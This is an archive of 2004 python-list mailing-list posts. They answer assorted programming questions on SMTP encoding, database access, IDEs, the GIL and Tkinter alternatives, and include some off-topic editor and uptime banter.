http://tinyurl.com/4chqh But neither the pygame or curses solution worked. Any new thoughts on this? From ialbert at mailblocks.com Thu Sep 16 09:27:35 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Thu, 16 Sep 2004 09:27:35 -0400 Subject: Overview of competing Python modules? In-Reply-To: <111j51ljz6sur$.dlg@thorstenkampe.de> References: <111j51ljz6sur$.dlg@thorstenkampe.de> Message-ID: <yKmdnSs9vc9bCdTcRVn-iQ@giganews.com> Thorsten Kampe wrote: > Something like "there's the standard cvs module and the one from > pycvs.sourceforge.net but most people use cvs (or pycvs) because it's > <whatever>". How would anybody that? For database modules look at: http://www.python.org/topics/database/modules.html Istvan. From jepler at unpythonic.net Mon Sep 13 08:32:47 2004 From: jepler at unpythonic.net (Jeff Epler) Date: Mon, 13 Sep 2004 07:32:47 -0500 Subject: Mail extraction problem (something's wrong with split methods) In-Reply-To: <pan.2004.09.11.16.21.15.772439@public.srce.hr> References: <pan.2004.09.11.16.21.15.772439@public.srce.hr> Message-ID: <20040913123246.GF20186@unpythonic.net> You cannot send data with arbitrary-length lines over SMTP without using an encoding such as quoted-printable or base64. RFC2821 section 2.3.7 "Limits MAY be imposed on line lengths by servers" section 4.5.3: The maximum total length of a text line including the <CRLF> is 1000 characters (not counting the leading dot duplicated for transparency). This number may be increased by the use of SMTP Service Extensions. (The relevant SMTP Service Extension in this case being RFC1652, 8BITMIME) While this is not the limit you seem to be running into (you said problems happened at 350 bytes) you should be aware of this (and lots of other details about SMTP and other mail protocols) before you write something to run "on top of" SMTP. If you want to send a Python data structure across the network, you might use pickle and then the email module to create a properly MIME-encoded message: import pickle, email.Message bytes = pickle.dumps(my_structure) message = email.Message.Message() message.set_type("application/x-luka-milkovic") message.set_payload(bytes.encode("base64")) # set other headers as needed message = str(message) If your structure is actually a sequence of fixed-width integers, then you might be happy using struct.pack() instead of pickle: import struct l = len(my_structure) bytes = struct.pack("!" + "H"*l, *my_structure) "H" is for numbers in range(65536), "!" uses network byte-order In either case, you perform the reverse steps on the reassembled message on the other end: import email.Parser decoded_message = email.Parser.Parser().parsestr(message) decoded_message.get_type() # must be application/x-luka-milkovic # or this is not a message from your # program bytes = decoded_message.get_payload().decode("base64") # now pickle.loads or struct.unpack the bytes Jeff -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: <http://mail.python.org/pipermail/python-list/attachments/20040913/431102f0/attachment.sig> From godoy at ieee.org Mon Sep 27 10:01:29 2004 From: godoy at ieee.org (Jorge Godoy) Date: Mon, 27 Sep 2004 11:01:29 -0300 Subject: Psycopg; How to detect row locking? References: <cj8u7f$6hh$1@netlx020.civ.utwente.nl> <m3y8iv3npy.fsf@g2ctech.com> <415811D2.7070408@magproductions.nl> <lYU5d.804$TY2.351@lakeread04> Message-ID: <m3sm93zu86.fsf@g2ctech.com> Steve Holden <steve at holdenweb.com> writes: > If all threads are using the same database connection, even if you > create multiple cursors, then you shouldn't have any locking issues > because all threads are part of the same transaction. I think that there is one transaction per cursor and not per connection. Is it really like that or there's one transaction per connection? Be seeing you, -- Godoy. <godoy at ieee.org> From peter at engcorp.com Mon Sep 13 17:58:01 2004 From: peter at engcorp.com (Peter Hansen) Date: Mon, 13 Sep 2004 17:58:01 -0400 Subject: check for unused ports and then grab one In-Reply-To: <ci502a$e77$1@solaris.cc.vt.edu> References: <ci502a$e77$1@solaris.cc.vt.edu> Message-ID: <9-adnWpzmJ90itvcRVn-vA@powergate.ca> Brad Tilley wrote: > Instead of me arbitrarily assigning a high port number to a variable, is > it possible to check for ports that are unused and then randomly assign > one of them to a variable? Something like this is what I'm thinking: > > port = socket.getunusedport() > > Any ideas? As Erik says, use a loop until you get a free one, catching the exceptions that are raised as you try to use the occupied ones. I'm curious what you are trying to do though. Normally a server has to listen on a predefined port or the clients won't be able to connect, and a client doesn't need to specify which port it will bind to as the OS will pick a free one automatically. I've never had to do what you are trying to do, thus my curiosity... -Peter From heikowu at ceosg.de Mon Sep 20 04:20:33 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Mon, 20 Sep 2004 10:20:33 +0200 Subject: need help defining Constant memory requirement In-Reply-To: <d3be1825.0409191328.458dc60b@posting.google.com> References: <d3be1825.0409182100.612a5dcb@posting.google.com> <mailman.3507.1095603871.5135.python-list@python.org> <d3be1825.0409191328.458dc60b@posting.google.com> Message-ID: <200409201020.33427.heikowu@ceosg.de> Am Sonntag, 19. September 2004 23:28 schrieb Jani Yusef: > Got it!! Thanks for your help. > Here is my revised and working code > i=[1,2,3,4,5,6,3] > s0=len(i)*(len(i)+1)/2 > s1=0 > for a in i: > sum1+=a > return (sum1-sum0)%len(i) > I think my main malfunction was with thinking that this was mor > ecomplex tna it was. By refocusing on the simple problem statement as > suggested the solution came easier. Thanks again. Well, actually, as Tim Peters already said, the function really isn't O(1) in space requirement, because len(i) and sum(i) grow with O(log(n))... But okay, probably your instructor just overlooked this... Heiko. From xv0017python at yahoo.com Tue Sep 14 20:15:39 2004 From: xv0017python at yahoo.com (andresm) Date: 14 Sep 2004 17:15:39 -0700 Subject: i am going to get crazy!!! Message-ID: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com> I cant believe there is no single decent open source for python, all them miss some of the most core features an ide should have, i just cant believe this!!! I have been looking for a decent ide for one weak, i have tried all of them, all. the only kick ass one is ipython, but thats a shell that shows how an ide should be. I come from a java background using eclipse, netbeans,intellij,etc and i realy liked to learn python =( , java sucks for tons of reasons, but i dont now what to do the most important feature of an ide is syntax coloring and "full code completion suport". For example if i am learning how to use the sys module in my code and while i am writing like : sys . A list should appear showing me all the attributes of the module or class : variables,locals,globals,builtins,etc and when i focus on one item for example " setprofile " method the documentation of the method should appear in another popup , that way i can learn the libraries fast and in an interactive way. Is all i want in an ide ALL IDES have this. Why python ones dont ? in spe you get everything that is in the namespace,not just the object before the dot triger,same in eric3, in komodo you get just the functions, no docs. Whats wrong with my common sense? all ides for php,java,c have this feature , is all i want to be able to program fast =( . But i have to alt-tab to konsole to the ipython shell, type help(sys) , find the doc and info i need and go back to the editor again, is like 20 seconds comparing to 1 with code completion suport. How do you guys program without a feature like this? that is the only reason i need an ide, how do you remember all the methods names, parameters , attributes , classes, behavior while coding with an ide not suporting this tools? i wont memorize all of them =( is contraproducent if a tool can help, not to mention when learing new libraries, memorize again? or take 10 seconds every time you dont remember something to take the time to look into it? What should i do? T_T From claird at lairds.us Tue Sep 14 17:08:05 2004 From: claird at lairds.us (Cameron Laird) Date: Tue, 14 Sep 2004 21:08:05 GMT Subject: Lua versus C++ for embedded processor References: <mailman.369.1074114471.12720.python-list@python.org> <45c5d645cae78c97a5caad9e821d5a5c@localhost.talkaboutprogramming.com> <v46e12-inc.ln1@lairds.us> <4144c3c6$1@nntp0.pdx.net> Message-ID: <8p2k12-jl1.ln1@lairds.us> In article <4144c3c6$1 at nntp0.pdx.net>, Scott David Daniels <Scott.Daniels at Acm.Org> wrote: >Cameron Laird wrote: > >> .... Yes, Lua implementation is, from all my experience, an >> order of magnitude than the corresponding Perl effort. > >While this is a strange topic for c.l.p, I _am_ curious what this >sentence meant to say. Perhaps: "order of magnitude less work than"? . . . "... easier to embed ..." My apologies for the confusion. I'm an occasional professional proof-reader--and yet ... From tchur at optushome.com.au Wed Sep 29 17:39:47 2004 From: tchur at optushome.com.au (Tim Churches) Date: 30 Sep 2004 07:39:47 +1000 Subject: Social Analysis and Modeling for Python In-Reply-To: <415AD6A4.7000400@cloudthunder.com> References: <415AD6A4.7000400@cloudthunder.com> Message-ID: <1096493975.1238.45.camel@emilio> On Thu, 2004-09-30 at 01:37, Bishara Gabriel wrote: > I encourage feedback from all parties and especially those which would > like to be directly involved (I may include you in the grant proposal > and budget). Send me your comments! > > -------> > > Project Objective > > We seek to introduce the advantages of object-oriented programming to > the realm of social sciences. We believe the fields thereof (economics, > history, sociology, political science, etc.), have much to gain from > OOP?s ability to represent social constructs. Particularly, we have > found Python to be well suited to the rapid formulation of social models > due to its syntactic simplicity, outstanding support for object-oriented > programming, and comprehensive libraries. Unfortunately, most academics > in the aforementioned fields are unaware of the capabilities, let alone > applicability, of programmatic representation. Those who do are > typically put off by the inadequacy and complexity of more traditional > languages such as C and C++. We therefore propose to disseminate an > understanding among these fields of the ability to develop social models > and represent social constructs via the rapid modeling capabilities of > the Python language. We seek to demonstrate how Python presents to them > limited costs in production time via its language features, and to show > how social models can be mentally approached in such a way that there > exists a one-to-one correlation between their theoretical model and the > Python equivalent. > > See the rest of the proposal at: > http://www.mtholyoke.edu/~bgabriel/Social_Analysis_&_Modeling_in_Python.pdf This project seems like it will be both useful and fun - for all concerned. For what more could the PSF ask? Certainly a great way to promote the visibility of Python. I can conceive of several uses in my own domain of public health - particularly in health promotion, where more tools to model the social effects of specific health promotion campaigns and interventions are sorely needed; this project might also be useful in developing more accessible tools to model health care financing and expenditure (for inspiration, see the work of Harold Waitzkin and colleagues). Of course, modelling the past and present Chinese state will bring new meaning to Gang-of-Four paradigms in object-oriented programming. Indeed, one might speculate that if Python and this project had happened two decades earlier, Francis Fukiyama may not have been able to triumphantly proclaim "the end of [dialectic] history" (but I make no defence of the across-the-board failings of the former Soviet Union). However, I agree with Cameron Laird's point that some mention needs to be made of similar, previous work with Simula. Metaphysician Mertz is familiar with SimPy and I suspect that there are plans to use it in this project - see http://www-106.ibm.com/developerworks/linux/library/l-simpy.html Presumably the overall project code will be licensed under the GNU General Public License (GPL) or similar, but might I suggest that some of the example models are licensed under the "other" GPL which is rumoured to exist. Modern Prince Mertz knows what I mean. -- Tim C PGP/GnuPG Key 1024D/EAF993D0 available from keyservers everywhere or at http://members.optushome.com.au/tchur/pubkey.asc Key fingerprint = 8C22 BF76 33BA B3B5 1D5B EB37 7891 46A9 EAF9 93D0 From greg.steffensen at gmail.com Thu Sep 9 23:31:54 2004 From: greg.steffensen at gmail.com (Greg Steffensen) Date: 9 Sep 2004 20:31:54 -0700 Subject: Electronic voting feasibility Message-ID: <chr77a$4gj@odak26.prod.google.com> I'm designing a web portal for universities (a free software, by/for students thing), and I'm considering including an electronic voting component. The site is cute, but I'd like the internet voting component to be close to the real deal,as well as easy to install, use and verify. Writing it in open Python code would be a big help in making it easy to install, use and verify, I think, but I don't know if there are technical reasons that Python would be a poor choice for this (I don't care about performance). Its intentionally simple (because I've been taught that complex == insecure), and is basically just a wrapper around GPG. Are there any technical reasons that Python would be a poor choice for this? I have no illusions that its possible to build a perfect system, but would Python be more vulnerable than C or Java for some reason? I'm not a security guru, but it seems to me that the security of the interpreter is meaningless next to the security of the os kernel (the core of the system involves a series of nodes- election observers- taking an encrypted package, encrypting it again, and passing it on... the disk is never touched), so choice of language is largely arbitrary. Is this wrong? Are there reasons to choose/avoid Python? Greg Steffensen From donn at u.washington.edu Thu Sep 16 13:16:24 2004 From: donn at u.washington.edu (Donn Cave) Date: Thu, 16 Sep 2004 10:16:24 -0700 Subject: list/tuple to dict... References: <20040915163909.4234ce31@gypsy.pfortin.com> <1gk7a4p.9bjbrs173syhqN%aleaxit@yahoo.com> <roy-F19881.09301016092004@reader1.panix.com> Message-ID: <donn-AAC12A.10162416092004@gnus01.u.washington.edu> In article <roy-F19881.09301016092004 at reader1.panix.com>, Roy Smith <roy at panix.com> wrote: > aleaxit at yahoo.com (Alex Martelli) wrote: > > Copy and paste is a BAD way to reuse software. Very, very bad. Anybody > > with the least experience maintaining big programs will confirm. > > Absolutely agree. > > A while ago, I was working on a piece of code written by somebody who > didn't believe in this. I found a bug and fixed it. Sometime later, we > realized the fix was wrong and I went back to make an additional change. > > I was surprised when the file I was looking at appeared to be the > original code. Where had my first change gone? We spent an afternoon > looking through CVS logs, getting ourselves more and more convinced that > CVS had somehow messed up. > > It turns out, the fix I made was in a huge function (100's of lines) > which somebody had cut-and-pasted to make three versions which did > almost identical things. And then they gave the functions almost > identical names, along the lines of: > > sendMessageToServerWithAlertCondition () > sendMessageToServerWithErrorCondition () > sendMessageToServerWithOtherCondition () > > So, yeah, Alex is right. Don't do that. Sure, don't do _that_. But do you think anyone might be able to come up with cases where software has been unnecessarily fragile because of a compulsive desire to avoid repeating a line of similar code anywhere? Don't do that, either! Donn Cave, donn at u.washington.edu From skip at pobox.com Fri Sep 24 16:56:31 2004 From: skip at pobox.com (Skip Montanaro) Date: Fri, 24 Sep 2004 15:56:31 -0500 Subject: Global Interpreter Lock In-Reply-To: <cj216l$1m0r$1@news.cybercity.dk> References: <cj216l$1m0r$1@news.cybercity.dk> Message-ID: <16724.35327.21264.57652@montanaro.dyndns.org> Tomas> Excaclty HOW global is the global interpreter lock? Per-process. Skip From aleaxit at yahoo.com Fri Sep 17 02:14:25 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 17 Sep 2004 08:14:25 +0200 Subject: what's the deal of "_" in Python? References: <mailman.3416.1095372913.5135.python-list@python.org> <49idncYjAKcPj9fcRVn-og@powergate.ca> <mailman.3418.1095373741.5135.python-list@python.org> Message-ID: <1gk8fe4.vyvg5t145l445N%aleaxit@yahoo.com> Erik Heneryd <erik at heneryd.com> wrote: > phansen wrote: > > Yun Mao wrote: > > > >> Can someone give me some pointers to the related docs? Thanks. > > > > > > It's a variable name. See http://docs.python.org/ref/identifiers.html > > ...and is special in interactive mode. See > http://docs.python.org/ref/id-classes.html ...and is used in the gettext module for internationalization (as a function name, in that case). Alex From sholden at holdenweb.com Wed Sep 1 11:54:21 2004 From: sholden at holdenweb.com (Steve Holden) Date: Wed, 01 Sep 2004 11:54:21 -0400 Subject: Larry Wall & Cults In-Reply-To: <20040830.2227.57577snz@dsl.co.uk> References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <pan.2004.08.29.03.59.02.719953@bar.net> <25u2j0d9bfulqljo6d2jbls2v52l1jk3sd@4ax.com> <pan.2004.08.30.00.02.19.911327@bar.net> <20040830.2227.57577snz@dsl.co.uk> Message-ID: <3jmZc.17355$ni.11047@okepread01> Brian {Hamilton Kelly} wrote: > On Sunday, in article > <pan.2004.08.30.00.02.19.911327 at bar.net> foo at bar.net "Mac" > wrote: > > >>Hmm. No explicit comparison was made, but since the post is a cautionary >>tale (well, the post is a rambling mess, but I think it is trying to be a >>cautionary tale) I think the comparison is understood. > > > "Cautionary tale"???? Cautionary tale, my arse. > > The post was the fuckwitted ramblings of a total raving looney; kill the > thread (and the original poster) and forget about it. > Snicker. Definitely the most sensible suggestion I've seen so far. regards Steve From firstname at lastname.pr1v.n0 Wed Sep 8 14:43:17 2004 From: firstname at lastname.pr1v.n0 (Morten Reistad) Date: Wed, 8 Sep 2004 20:43:17 +0200 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com><opsdy5xuappqzri1@mjolner.upc.no> <p9qdnTnxTYDJR6PcRVn-pw@speakeasy.net> <413f049f$0$6914$61fed72c@news.rcn.com> Message-ID: <5sjnhc.bb81.ln@via.reistad.priv.no> In article <413f049f$0$6914$61fed72c at news.rcn.com>, <jmfbahciv at aol.com> wrote: >In article <p9qdnTnxTYDJR6PcRVn-pw at speakeasy.net>, > rpw3 at rpw3.org (Rob Warnock) wrote: >>John Thingstad <john.thingstad at chello.no> wrote: >>+--------------- >>| As you may know XP is not particularly good as a server. >>.... >>| I would go for some Unix implementation (perhaps free-BSD) >>| As a workstation XP seems OK. >>| I hear a lot of complaints about XP's stability. >>| Since I have not administered a XP network, yet, I cant comment on that. >>| But in my personal experience it is a stable system. >>| I frequently let my computer run 24 hrs. a day for more than a month >>| without a need to reboot. So for me it is adequate. >>+--------------- >> >>*Only* a month?!? Here's the uptime for one of my FreeBSD boxes >>[an old, slow '486]: >> >> % uptime >> 2:44AM up 630 days, 21:14, 1 user, load averages: 0.06, 0.02, 0.00 >> % >> >>That's over *20* months!! > >I bet we can measure the youngster's age by the uptimes he boasts. >> >> >>-Rob >> >>p.s. I remember the time back in the early 70's (at Emory Univ.) when >>we called DEC Field Service to complain that our PDP-10 had an uptime >>of over a year. Why were we complaining? Well, that meant that DEC Field >>Service had failed to perform scheduled preventive maintenance (which >>usually involved at least one power cycle)... ;-} > >One? Had to be two. FS was supposed to use their service pack >as the system disk, not the customers!!! I believe that was >true even in 1970. The dangers of smushing bits was too great. But with a PM you had to do a cold start. All the disks had to be spun down, filters changed, and they had to spin for an ungodly long time after the filter change before heads could be enabled again. This was to bring all the dust that was let loose in the process into the new filters before heads went to fly over the platters again. Also power supplies had to be checked for the dreaded capacitor problems. Tape drives also had these. This was industry-wide problems; and news from a few burned UPS'es the last couple of months tell me that the capacitor problems are still with us. It was a real accomplishment when we in 1988 could do a full PM (Prime gear) without shutting down the system. All disks were mirrored, and all power duplicated, so we shut down half of the hardware and did PM on that; and took the other half next week. SMD filters were used at a quite high rate; even inside well filtered rooms. ISTR 6 months was a pretty long interval between PM's. -- mrr From init_self at yahoo.no Fri Sep 17 10:27:30 2004 From: init_self at yahoo.no (init_self) Date: Fri, 17 Sep 2004 14:27:30 -0000 Subject: Attributeerror Message-ID: <cies8i+kp4t@eGroups.com> extreme newbie question: I have a filename.py file with an attribute named a. I`s a dictionary example, and when I start the interpreter and call the attribute its value prints out fine. Then I change the name of the attribute from a to b and save filename.py Calling the attribute now produces an errormessage: Attributeerror: 'module has no attribute 'b' This irritates me. Why does it happen? From jerf at jerf.org Tue Sep 7 13:44:47 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Tue, 07 Sep 2004 17:44:47 GMT Subject: ANN: WxInter References: <IKCdnbjCsZtWd6HcRVn-qQ@centurytel.net> <pan.2004.09.06.21.23.40.851628@jerf.org> <chk3hp$gqb$1@news-reader3.wanadoo.fr> <WKOdnb_jwesHc6DcRVn-ug@centurytel.net> Message-ID: <pan.2004.09.07.13.44.59.240541@jerf.org> On Tue, 07 Sep 2004 10:24:03 -0700, Ed Suominen wrote: > Good points. The thing to do, IMHO, would be to improve wxWindows/wxPython > to provide the text and canvas widget functionality, and then move with the > WxInter idea to use it as a path for abandoning TkInter. I really didn't want to do my project in TkInter, because of the scarcity of widgets. I once tried to go Windows-only, and source-modified the Windows version to allow me access to even more Windows specific functionality, and I *still* couldn't match the Tk Text widget. In particular, the %x,y syntax that identifies a point in the text by screen coordinates, although some other minor things were missing too. For my app, that was the critical bit that even made it *possible* without writing a new text widget somewhere. (While I could do it theoretically, I'd sooner drop my app; there's no point in an app that needs a custom GTK to work.) You might want to instead focus on extended the pre-existing AnyGUI project. http://anygui.sourceforge.net/ (Look, a constructive suggestion instead of criticism :-) !) Trying to implement Tk in wxWindows is probably man-years of work, and probably the most feasible avenue is to actually source-integrate the Tk widgets into wxWindows itself; yes, that's a lot of work but I bet it is the least overall. (Not a horrid idea, but extracting the Tk text widget may be a real handful due to major impedance mismatch.) If you're willing to drop the 100% compatibility requirement, then at that point there's no reason not to extent AnyGUI as much as possible, create a Tk-a-like front end for AnyGUI, and anybody who uses too much Tk stuff can't use AnyGUI, which is true no matter what you do so no loss. A little more work, vastly more reward; a migration path off Tk for simple Tk users, and if you start from day one with AnyGUI, more flexibility. From timr at probo.com Sat Sep 11 01:57:25 2004 From: timr at probo.com (Tim Roberts) Date: Fri, 10 Sep 2004 22:57:25 -0700 Subject: Connecting to a postgresql DB? References: <pan.2004.09.08.21.54.22.327805@augustmail.com> Message-ID: <ve45k0d5ipc5d41und0ps2kjatg8uh5kjq@4ax.com> Lance Hoffmeyer <lance-news at augustmail.com> wrote: > >I am trying to learn some basics of python. One of the things >I want to do is write a script to access a postgresql database >DB as user USER with password PW and > >SELECT first_name, last_name, birthday FROM contacts > >print to the screen and then disconnect. > >Can someone show me an example of how to do this? Postgres support is not built-in to Python. You'll need to install one of the Postgres packages, like pgdb or pypgsql or psycopg. They are all compliant with the Python DBAPI spec, so the usage is pretty similar: import psycopg db = psycopg.connect("dbname=db user=USER password=PW") cur = db.cursor() cur.execute("SELECT first_name, last_name, birthday FROM contacts") for first,last,bday in cur.fetchall(): print "%s %s has birthday %s" % (first, last, bday) -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From martin at v.loewis.de Fri Sep 17 15:50:38 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Fri, 17 Sep 2004 21:50:38 +0200 Subject: Changes in this release docs In-Reply-To: <kiG2d.65793$D%.56019@attbi_s51> References: <kiG2d.65793$D%.56019@attbi_s51> Message-ID: <414b400c$0$24870$9b622d9e@news.freenet.de> Jeff Blaine wrote: > Something that has always bothered me about the 'Changes in this > release' docs for new features (generators for instance): There's > usually no explanation for why the feature was added. Which document are you specifically referring to? AFAICT, there is no document titled "Changes in this release", atleast not for Python. > I don't think it's reasonable to expect language _users_ to keep > up with PEPs, etc. But is it asked to much for users to read the PEP when they want to find out the rationale for a change? Regards, Martin From carribeiro at gmail.com Fri Sep 3 09:15:36 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 3 Sep 2004 10:15:36 -0300 Subject: allowing braces around suites In-Reply-To: <slrncjg47t.7or.apardon@rcpc42.vub.ac.be> References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> <slrncj8kv2.kp.apardon@trout.vub.ac.be> <slrncj8mvt.djm.sholden@flexal.cs.usyd.edu.au> <slrncj94hr.kp.apardon@trout.vub.ac.be> <du7oekrnwc8.fsf@amadeus.cc.tut.fi> <slrncjaq3l.kp.apardon@trout.vub.ac.be> <pan.2004.09.01.12.03.39.285610@jerf.org> <slrncje0vr.7or.apardon@rcpc42.vub.ac.be> <pan.2004.09.02.13.05.51.473986@jerf.org> <slrncjg47t.7or.apardon@rcpc42.vub.ac.be> Message-ID: <864d3709040903061533faa453@mail.gmail.com> [Antoon Pardon] > Just because I think that > > for ... > if ... > for > loop > code > endfor > endif > endfor > remainder > > is in general more readable than > > for ... > if ... > for ... > loop > code > remainder > > I'm writing spaghetti code. I would not go that far as to say that you are writing spaghetti code. But I really think that the Python-styled code is easier to read. It may be a matter of personal opinion. One distinct advantage of Python's style is that it makes for a slightly shorter code, which in turn fits better into the editing window. And nothing stops you from using comments or whitespace to mark the end of the enclosed blocks. So this is not necessary... and insisting loudly on your point doesn't help, either. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From deetsNOSPAM at web.de Wed Sep 15 16:44:06 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Wed, 15 Sep 2004 22:44:06 +0200 Subject: list/tuple to dict... References: <20040915163909.4234ce31@gypsy.pfortin.com> Message-ID: <cia9if$v1$06$1@news.t-online.com> Pierre Fortin wrote: > osstat = todict(os.stat("%s" % path), > "mode,inode,dev,nlink,uid,gid,size,atime,mtime,ctime") > uname = todict(os.uname(), > "sysname, nodename,release,version, machine") Use dict(zip(["mode,inode,dev,nlink,uid,gid,size,atime,mtime,ctime"], os.stat("%s" % path))) -- Regards, Diez B. Roggisch From forodejazz at yahoo.es Tue Sep 21 04:31:46 2004 From: forodejazz at yahoo.es (David Asorey ?lvarez) Date: 21 Sep 2004 01:31:46 -0700 Subject: python is going to die! =( References: <mailman.3520.1095631846.5135.python-list@python.org> Message-ID: <1759581e.0409210031.74b6fb2d@posting.google.com> julio <julioperezsosa at yahoo.com> wrote in message news:<mailman.3520.1095631846.5135.python-list at python.org>... > Sorry but there is no another way, c# .net and mono are going to rip > python, not because python is a bad lenguage, but because is to darn old > [ ... ] > > -- tools,tools,tools : have people that likes python ever used an ide? i > mean a good ide, the one that saves you a lot of time, and makes you > productive. > Have you tried Eric? (http://www.die-offenbachs.de/detlev/eric3.html) It's an excellent IDE. David. From jacques.coeurs at laposte.net Wed Sep 15 04:56:10 2004 From: jacques.coeurs at laposte.net (jack) Date: 15 Sep 2004 01:56:10 -0700 Subject: python task manager Message-ID: <106645cc.0409150056.708bba7a@posting.google.com> Hi, I am looking for a task manager written in python that is powerfull and simple enough to schedule a lot of different tests on an every day or many time a day basis. ----------------------- python scheduler module ------------------------ Python build in scheduler works but afaik you send action to be done in N minutes. I would prefer to input information like "do it at 15h00 every day". Plus if two task are to be runned at the same time, I am not sure of how it would react. ------- WebWare ------- Webware taskkit looks at first glance the good solution. ------------ Os scheduler ------------ Then of course, I could use the Os scheduler (windows or linux), but it may be more difficult to react in case of problem. ********** QUESTION ? ********** Is there other python options than these 3 ? Thanks in advance. Jack. From FBatista at uniFON.com.ar Thu Sep 23 08:47:19 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Thu, 23 Sep 2004 09:47:19 -0300 Subject: floating point glitch Message-ID: <A128D751272CD411BC9200508BC2194D053C79B7@escpl.tcp.com.ar> [David O'Farrell] #- Python 2.3.3 (#1, Mar 19 2004, 16:18:33) #- [GCC 2.95.2 19991024 (release)] on sunos5 #- Type "help", "copyright", "credits" or "license" for more #- information. #- >>> a=[66.6, 333, 333, 1, 1234.5] #- >>> print a.count(333), a.count(66.6), a.count('x') #- 2 1 0 #- >>> a.append(333) #- >>> print a #- [66.599999999999994, 333, 333, 1, 1234.5, 333] FAQ: http://www.python.org/doc/faq/general.html#why-are-floating-point-calculatio ns-so-inaccurate Tutorial: http://www.python.org/dev/doc/devel/tut/node16.html Decimal: http://www.python.org/dev/doc/devel/whatsnew/node8.html . Facundo -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20040923/112cd5ef/attachment.html> From skip at pobox.com Thu Sep 2 19:54:31 2004 From: skip at pobox.com (Skip Montanaro) Date: Thu, 2 Sep 2004 18:54:31 -0500 Subject: Right way to define methods to SimpleXMLRPCServer? In-Reply-To: <ch83pv$2p2$07$1@news.t-online.com> References: <mailman.2786.1094154407.5135.python-list@python.org> <ch83pv$2p2$07$1@news.t-online.com> Message-ID: <16695.45751.926923.151676@montanaro.dyndns.org> Diez> Looking into the docs, you see that dispatch is supposed to have this Diez> signature: Diez> def _dispatch(self, method, params): Thanks. The _dispatch interface isn't defined in the SimpleXMLRPCServer docs. Your comment made me try pydoc. I'll update the LaTeX docs. Skip From cgibbs at kltpzyxm.invalid Wed Sep 1 15:11:12 2004 From: cgibbs at kltpzyxm.invalid (Charlie Gibbs) Date: 01 Sep 04 11:11:12 -0800 Subject: Xah Lee's Unixism References: <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <du7k6vfnvx9.fsf@amadeus.cc.tut.fi> <4134AC88.56452265@yahoo.com> <aN2Zc.10226$QJ3.5466@newssvr21.news.prodigy.com> <4135cea1$0$19726$61fed72c@news.rcn.com> Message-ID: <819.740T630T6713647@kltpzyxm.invalid> In article <4135cea1$0$19726$61fed72c at news.rcn.com>, jmfbahciv at aol.com (jmfbahciv) writes: >In article <aN2Zc.10226$QJ3.5466 at newssvr21.news.prodigy.com>, >red floyd <no.spam at here.dude> wrote: > >>CBFalconer wrote: >> >>> Dump Notepad and get Textpad. www.textpad.com. First class. >>> >> >>Let the editor flame wars begin! >> >>Get gvim! www.vim.org > >You think notepad is an editor? <snort> You must be young >and inexperienced in the ways of Real Man's Editing sports. I'll give up CygnusEd (and the Amiga it runs on) when they pry it from my cold dead fingers. -- /~\ cgibbs at kltpzyxm.invalid (Charlie Gibbs) \ / I'm really at ac.dekanfrus if you read it the right way. X Top-posted messages will probably be ignored. See RFC1855. / \ HTML will DEFINITELY be ignored. Join the ASCII ribbon campaign! From xnews2 at fredp.lautre.net Wed Sep 8 05:57:08 2004 From: xnews2 at fredp.lautre.net (Fred Pacquier) Date: 08 Sep 2004 09:57:08 GMT Subject: i18n and GUI under Windows References: <f06d8508.0409061625.10440451@posting.google.com> <Xns955DE35ED6C2PaCmAnRDLM@212.27.42.76> <f06d8508.0409071833.2d7bc2dc@posting.google.com> Message-ID: <Xns955E79AA5F56PaCmAnRDLM@212.27.42.74> andre.roberge at ns.sympatico.ca (Andr? Roberge) said : > Thanks for the suggestion. Actually I will NOT use the automatic > detection - and I would encourage others to do the same. The reason > is as follows: Quite, those are the sorts of reasons I had in mind when making that remark. As I said, this was just a quick hack to verify things worked as intended, not an end-user-friendly product :-) -- YAFAP : http://www.multimania.com/fredp/ From http Fri Sep 17 03:19:50 2004 From: http (Paul Rubin) Date: 17 Sep 2004 00:19:50 -0700 Subject: Recursive function not returning value References: <10kl34qereo06ac@corp.supernews.com> Message-ID: <7xzn3pnyzt.fsf@ruckus.brouhaha.com> "Derek Rhodes" <rhoder at worldpath.net> writes: > if type(word) == str: > print "it's a word" > test([word]) The last line tests [word] and throws away the value. YOu have to say "return test([word])". From jcarter at johmar.engr.sgi.com Wed Sep 22 15:31:16 2004 From: jcarter at johmar.engr.sgi.com (Jack Carter) Date: Wed, 22 Sep 2004 12:31:16 -0700 (PDT) Subject: namespace/dictionary quandry In-Reply-To: Peter Otten <__peter__@web.de> "Re: namespace/dictionary quandry" (Sep 22, 8:48pm) References: <mailman.3474.1095464076.5135.python-list@python.org> <cigt4h$mrf$05$1@news.t-online.com> <mailman.3584.1095704635.5135.python-list@python.org> <cioj7k$o6$02$1@news.t-online.com> <mailman.3726.1095870077.5135.python-list@python.org> <1gkj42v.16ivchn5zt970N%aleaxit@yahoo.com> <mailman.3734.1095876139.5135.python-list@python.org> <cishdd$eaa$03$1@news.t-online.com> Message-ID: <10409221231.ZM975856@johmar.engr.sgi.com> On Sep 22, 8:48pm, Peter Otten wrote: > Subject: Re: namespace/dictionary quandry > I just ensure that all arguments not already in self.locals are added with > their name as their value. (I also renamed 'parent' to 'self' - I could not > stand it any longer :-) Novice error on my part. Thanks for the correction. > > Note that I don't particularly like both hacks and would rather use plain > old python functions with standard python syntax instead of your custom > language. It makes the programmers job easier, but not the customer who may just want a non-gui debugger commandline session 